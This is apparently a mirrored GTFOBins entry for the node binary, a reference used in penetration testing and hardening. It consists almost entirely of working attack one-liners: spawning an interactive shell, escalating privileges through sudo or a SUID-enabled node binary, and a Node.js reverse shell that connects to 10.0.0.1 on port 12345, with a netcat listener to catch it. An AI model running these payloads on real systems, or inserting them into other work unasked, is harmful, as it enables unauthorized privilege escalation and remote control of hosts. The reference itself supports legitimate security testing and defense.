mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
24 lines
852 B
Markdown
24 lines
852 B
Markdown
---
|
|
functions:
|
|
exec-interactive:
|
|
- code: |
|
|
node -e 'require("child_process").spawn("/bin/sh", [], { stdio: [0, 1, 2]});'
|
|
sudo-enabled:
|
|
- code: |
|
|
sudo node -e 'require("child_process").spawn("/bin/sh", [], { stdio: [0, 1, 2]});'
|
|
suid-enabled:
|
|
- code: |
|
|
./node -e 'require("child_process").spawn("/bin/sh", [ "-p" ], { stdio: [0, 1, 2]});'
|
|
reverse-shell:
|
|
- description: Run `nc -l -p 12345` to receive the shell on the other end.
|
|
code: |
|
|
export RHOST=10.0.0.1
|
|
export RPORT=12345
|
|
node -e 'sh = require("child_process").spawn("/bin/sh", []);
|
|
client = new require("net").Socket();
|
|
client.connect(process.env.RPORT, process.env.RHOST, function(){
|
|
client.pipe(sh.stdin);
|
|
sh.stdout.pipe(client);
|
|
sh.stderr.pipe(client);
|
|
});'
|
|
--- |